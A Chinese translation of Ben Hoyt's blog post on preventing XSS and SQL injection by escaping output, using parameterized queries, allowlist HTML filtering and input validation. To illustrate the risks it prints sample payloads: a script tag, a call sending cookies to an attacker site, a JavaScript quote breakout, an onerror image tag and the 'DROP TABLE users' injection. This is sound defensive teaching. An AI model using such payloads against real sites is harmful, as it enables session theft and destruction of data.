Don't try to sanitize input. Escape output.

Ben Hoyt

不要净化输入,转义输出

原文由 Ben Hoyt 发布,订阅该博客

每隔一段时间,就会有开发者谈起通过“净化用户输入”来防范跨站脚本攻击。这么做虽然出发点是好的,却会带来虚假的安全感,有时还会把原本正常的输入搞得面目全非。

跨站脚本攻击是如何发生的?

如果用户输入的信息会被网站原样放回到页面的 HTML 中,那么该网站就容易受到跨站脚本(XSS)攻击。这可能引发一些小问题(比如破坏页面布局的 HTML),也可能造成严重后果(比如把用户的登录 Cookie 发送到攻击者网站的 JavaScript)。

我们来看一个具体的例子:

  1. NaiveSite 允许你输入姓名,并在个人资料页上原样输出。
  2. 名叫 Billy the Kid 的用户将自己的名字输入为 Billy <script>alert('Hello Bob!')</script>
  3. 任何访问 Billy 个人资料页的人,都会在 HTML 中看到未经转义的 script 标签,并被浏览器执行。
  4. 如果把 alert() 换成更具恶意的内容,比如 sendCookies('https://billy.com/cookie-monster'),Billy 现在就可以窃取毫无防备的访客的登录信息了。

顺带一提:实际情况并没有这么简单,因为登录 Cookie 通常会标记为 HttpOnly,意味着 JavaScript 无法访问。但这是 NaiveSite,很可能他们既犯了 XSS 的错误,也犯了 Cookie 的错误。

为什么过滤输入不是个好主意

开发者听说过“输入过滤”或“净化输入”,于是写了一段代码,在存储姓名前去掉其中不安全的 HTML 字符 <>&。问题解决了!

但这种做法有两个问题。首先,一对夫妇可能会以 Bob & Jane Smith 的名字注册 NaiveSite,但过滤代码去掉了 &,结果 Bob 突然成了孤家寡人,中间名还变成了 Jane。

或者,如果过滤器更严格,连 '" 也一并去掉,那么像 Bill O’Brien 这样的人就会变成 Bill OBrien。把人名弄错可不是什么好事。

或许更重要的是,它会给人一种虚假的安全感。什么叫“不安全”?在什么上下文中?诚然,<>& 对于 HTML 来说是不安全的字符,但对于 CSS、JSON、SQL 甚至 shell 脚本呢?这些场景下不安全字符的集合完全不同。

例如,NaiveSite 可能有一个如下所示的 PHP 模板:

<html>
...
<script>
var name = "<?=$name?>";
</script>

如果攻击者将自己的名字设为包含双引号的内容,比如 "; badFunc(); ",他就能在任何显示用户名的 NaiveSite 页面上执行任意 JavaScript(如果你已登录,可能所有页面都会显示用户名)。

这类问题的另一个例子是 SQL 注入,这是一种与跨站脚本密切相关的攻击。NaiveSite 由 MySQL 驱动,它会像这样查找用户:

$query = "SELECT * FROM users WHERE name = '{$name}'"

当一个名叫Robert'); DROP TABLE users; 的男孩出现时,NaiveSite 的整个用户数据库就被删除了。糟糕!

顺便说一下,xkcd 漫画中的那位母亲说:“希望你已经学会了净化数据库输入。”这句话多少有些令人困惑,但我愿意相信 Randall 的本意是指“转义数据库参数”。

简而言之,去掉“危险字符”并不是好办法,因为有些字符在某些上下文中是危险的,在另一些上下文中却完全安全。

转而转义你的输出

只有在特定上下文中负责输出的代码,才知道哪些字符是危险的。

因此,更好的做法是原样存储用户输入的任何名字,然后在输出 HTML 时由模板系统进行 HTML 转义,或在输出 JSON 和 JavaScript 时进行正确的 JSON 转义。

当然,还要使用 SQL 引擎的参数化查询功能,让它在构建 SQL 时正确地转义变量:

$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);

这种做法有时被称为“上下文转义”。如果你恰好使用 Go 的 html/template 包,就能自动获得针对 HTML、CSS 和 JavaScript 的上下文转义。大多数其他模板系统至少也提供了自动的 HTML 转义,例如 React、Jinja2 和 Rails 模板。

但如果你就是想要原始输入呢?

一种棘手的情况是,你的应用本身就是让用户输入 HTML 或 Markdown 来展示。在这种情况下,你在渲染输出时不能进行转义,因为整个目的就是让用户能够添加链接、图片、标题等。

因此你必须采取不同的方法。如果你使用的是 Markdown,你可以:

  1. 只允许用户输入纯 Markdown,并在渲染时将其转换为 HTML(许多 Markdown 库默认允许原始 HTML,务必将其禁用)。这是最安全的选项,但限制也更多。
  2. 允许用户在 Markdown 中使用 HTML,但仅限于白名单中的标签和属性,例如 <a href="..."><img src="...">Stack ExchangeGitHub 都采用了第二种做法。

如果你没有使用 Markdown,而是想让用户直接输入 HTML,那就只有第二种选择——你必须使用白名单进行过滤。这比你想象的更难做对(例如 <img src="x" onerror="badFunc()">),所以一定要使用像 DOMPurify 这样成熟且经过安全审查的库。

因此,在确实需要“原样输出”用户原始输入的情况下,要基于严格的白名单仔细过滤输入,并将结果存入数据库。输出时,则按存储的内容直接输出,无需转义。

与之对应的 SQL 注入场景,可能是你在构建一个允许用户输入任意 SQL 查询的数据图表工具。你可能想允许用户输入 SELECT 查询,但不允许数据修改类的查询。在这种情况下,最好使用一个正规的 SQL 解析器(比如这个)来确保它是格式良好的 SELECT 查询——但要正确实现这一点并不容易,所以一定要进行安全审查。

那验证又如何呢?

输入净化通常不是好主意,但输入验证却是好事。

例如,在解析表单字段时,如果数字字段填的不是数字,或电子邮件地址中没有 @,又或是“文章状态”下拉框只能是 draftpublishedarchived 之一——那么一定要对其进行验证,如果无效就返回错误。

好的 Web 表单验证会在行内显示错误,让用户清楚知道该修正什么:

Web 表单验证

验证至少必须在后端完成,否则攻击者可以绕过前端验证,直接向你的接口 POST 虚假数据。此外,你也可以在前端提前进行验证,以便更实时地显示错误,而无需往返服务器。

延伸阅读

OWASP 有两份关于跨站脚本防护SQL 注入防护的速查表,其中包含了大量关于转义的进一步信息。

在 StackOverflow 上还有一个关于“如何用 PHP 净化用户输入?”的回答,虽然有较强的 PHP 针对性,但我觉得它简洁而有帮助。它链接到了关于 PHP 魔术引号的页面,魔术引号是个糟糕的设计,已在 PHP 5.4 中被移除——那里的讨论与本文的观点非常一致。

如果你对本文有任何反馈,欢迎联系我!也可以查看 Hacker Newsprogramming reddit 上的评论。

本文章由 muse-spark-1.2-contributor 进行翻译

评论